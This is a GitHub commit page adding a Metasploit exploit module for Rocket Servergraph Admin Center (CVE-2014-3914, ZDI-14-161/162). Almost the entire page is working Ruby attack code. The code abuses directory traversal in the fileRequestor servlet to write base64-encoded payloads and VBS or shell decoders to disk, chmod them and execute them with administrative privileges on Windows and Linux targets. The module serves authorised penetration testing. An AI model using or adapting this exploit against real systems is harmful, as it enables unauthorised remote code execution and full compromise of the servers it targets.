Skip to content

Commit b710014

Browse files
committed
Land rapid7#3435 -- Rocket Servergraph ZDI-14-161/162
2 parents d44d409 + e4d1419 commit b710014

File tree

1 file changed

+348
-0
lines changed

1 file changed

+348
-0
lines changed
Lines changed: 348 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,348 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
18+
'Description' => %q{
19+
This module abuses several directory traversal flaws in Rocket Servergraph Admin
20+
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
21+
allowing a remote attacker to write arbitrary files and execute commands with
22+
administrative privileges. This module has been tested successfully on Rocket
23+
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
24+
12.04 64 bits.
25+
},
26+
'Author' =>
27+
[
28+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
29+
'juan vazquez' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['CVE', '2014-3914'],
35+
['ZDI', '14-161'],
36+
['ZDI', '14-162'],
37+
['BID', '67779']
38+
],
39+
'Privileged' => true,
40+
'Platform' => %w{ linux unix win },
41+
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
42+
'Payload' =>
43+
{
44+
'Space' => 8192, # it's writing a file, so just a long enough value
45+
'DisableNops' => true
46+
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Linux (Native Payload)',
51+
{
52+
'Platform' => 'linux',
53+
'Arch' => ARCH_X86
54+
}
55+
],
56+
[ 'Linux (CMD Payload)',
57+
{
58+
'Platform' => 'unix',
59+
'Arch' => ARCH_CMD
60+
}
61+
],
62+
[ 'Windows / VB Script',
63+
{
64+
'Platform' => 'win',
65+
'Arch' => ARCH_X86
66+
}
67+
],
68+
[ 'Windows CMD',
69+
{
70+
'Platform' => 'win',
71+
'Arch' => ARCH_CMD
72+
}
73+
]
74+
],
75+
'DefaultTarget' => 0,
76+
'DisclosureDate' => 'Oct 30 2013'))
77+
78+
register_options(
79+
[
80+
Opt::RPORT(8888)
81+
], self.class)
82+
83+
register_advanced_options(
84+
[
85+
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
86+
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
87+
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
88+
], self.class)
89+
90+
end
91+
92+
def check
93+
os = get_os
94+
95+
if os.nil?
96+
return Exploit::CheckCode::Safe
97+
end
98+
99+
Exploit::CheckCode::Appears
100+
end
101+
102+
def exploit
103+
os = get_os
104+
105+
if os == 'win' && target.name =~ /Linux/
106+
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
107+
elsif os == 'linux' && target.name =~ /Windows/
108+
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
109+
elsif os.nil?
110+
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
111+
end
112+
113+
if target.name =~ /Windows.*VB/
114+
exploit_windows_vbs
115+
elsif target.name =~ /Windows.*CMD/
116+
exploit_windows_cmd
117+
elsif target.name =~ /Linux.*CMD/
118+
exploit_linux_cmd
119+
elsif target.name =~ /Linux.*Native/
120+
exploit_linux_native
121+
end
122+
end
123+
124+
def exploit_windows_vbs
125+
traversal = "\\.." * traversal_depth
126+
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
127+
temp = temp_dir('win')
128+
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
129+
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
130+
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
131+
132+
print_status("#{peer} - Dropping the encoded payload to filesystem...")
133+
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
134+
135+
vbs = generate_decoder_vbs({
136+
:temp_dir => "C:#{temp}",
137+
:encoded_file_name => encoded_file_name,
138+
:exe_file_name => exe_file_name
139+
})
140+
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
141+
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
142+
143+
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
144+
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
145+
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
146+
print_status("#{peer} - Executing payload...")
147+
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
148+
end
149+
150+
151+
def exploit_windows_cmd
152+
traversal = "\\.." * traversal_depth
153+
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
154+
end
155+
156+
def exploit_linux_native
157+
traversal = "/.." * traversal_depth
158+
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
159+
temp = temp_dir('linux')
160+
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
161+
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
162+
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
163+
164+
print_status("#{peer} - Dropping the encoded payload to filesystem...")
165+
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
166+
167+
decoder = <<-SH
168+
#!/bin/sh
169+
170+
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
171+
chmod 777 #{temp}#{elf_file_name}
172+
#{temp}#{elf_file_name}
173+
SH
174+
175+
print_status("#{peer} - Dropping the decoder to filesystem...")
176+
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
177+
178+
register_files_for_cleanup("#{temp}#{decoder_file_name}")
179+
register_files_for_cleanup("#{temp}#{encoded_file_name}")
180+
register_files_for_cleanup("#{temp}#{elf_file_name}")
181+
182+
print_status("#{peer} - Giving execution permissions to the decoder...")
183+
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
184+
185+
print_status("#{peer} - Executing decoder and payload...")
186+
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
187+
end
188+
189+
def exploit_linux_cmd
190+
temp = temp_dir('linux')
191+
elf = rand_text_alpha(4 + rand(4))
192+
193+
traversal = "/.." * traversal_depth
194+
print_status("#{peer} - Dropping payload...")
195+
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
196+
register_files_for_cleanup("#{temp}#{elf}")
197+
print_status("#{peer} - Providing execution permissions...")
198+
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
199+
print_status("#{peer} - Executing payload...")
200+
execute("#{traversal}#{temp}#{elf}")
201+
end
202+
203+
def generate_decoder_vbs(opts = {})
204+
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
205+
206+
f = File.new(decoder_path, "rb")
207+
decoder = f.read(f.stat.size)
208+
f.close
209+
210+
decoder.gsub!(/>>decode_stub/, "")
211+
decoder.gsub!(/^echo /, "")
212+
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
213+
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
214+
215+
decoder
216+
end
217+
218+
def get_os
219+
os = nil
220+
path = ""
221+
hint = rand_text_alpha(3 + rand(4))
222+
223+
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
224+
225+
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
226+
path = $1
227+
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
228+
path = $1
229+
end
230+
231+
if path =~ /^\//
232+
os = 'linux'
233+
elsif path =~ /^[a-zA-Z]:\\/
234+
os = 'win'
235+
end
236+
237+
os
238+
end
239+
240+
def temp_dir(os)
241+
temp = ""
242+
case os
243+
when 'linux'
244+
temp = linux_temp_dir
245+
when 'win'
246+
temp = win_temp_dir
247+
end
248+
249+
temp
250+
end
251+
252+
def linux_temp_dir
253+
dir = "/tmp/"
254+
255+
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
256+
dir = datastore['TEMP_DIR']
257+
end
258+
259+
unless dir.start_with?("/")
260+
dir = "/#{dir}"
261+
end
262+
263+
unless dir.end_with?("/")
264+
dir = "#{dir}/"
265+
end
266+
267+
dir
268+
end
269+
270+
def win_temp_dir
271+
dir = "\\#{win_dir}\\Temp\\"
272+
273+
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
274+
dir = datastore['TEMP_DIR']
275+
end
276+
277+
dir.gsub!(/\//, "\\")
278+
dir.gsub!(/^([A-Za-z]:)?/, "")
279+
280+
unless dir.start_with?("\\")
281+
dir = "\\#{dir}"
282+
end
283+
284+
unless dir.end_with?("\\")
285+
dir = "#{dir}\\"
286+
end
287+
288+
dir
289+
end
290+
291+
def win_dir
292+
dir = "WINDOWS"
293+
if datastore['WINDIR']
294+
dir = datastore['WINDIR']
295+
dir.gsub!(/\//, "\\")
296+
dir.gsub!(/[\\]*$/, "")
297+
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
298+
end
299+
300+
dir
301+
end
302+
303+
def traversal_depth
304+
depth = 20
305+
306+
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
307+
depth = datastore['TRAVERSAL_DEPTH']
308+
end
309+
310+
depth
311+
end
312+
313+
def write_file(file_name, contents)
314+
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
315+
316+
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
317+
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
318+
end
319+
320+
res
321+
end
322+
323+
def execute(command)
324+
res = send_request(1, "run", command)
325+
326+
res
327+
end
328+
329+
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
330+
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
331+
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
332+
data << "&params=#{rand_text_alpha(rand(4) + 4)}"
333+
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
334+
data << "&cmd=#{command}"
335+
data << "&source=#{source}"
336+
data << "&query=#{query}"
337+
338+
res = send_request_cgi(
339+
{
340+
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
341+
'method' => 'POST',
342+
'data' => data
343+
}, timeout)
344+
345+
res
346+
end
347+
348+
end

0 commit comments

Comments
 (0)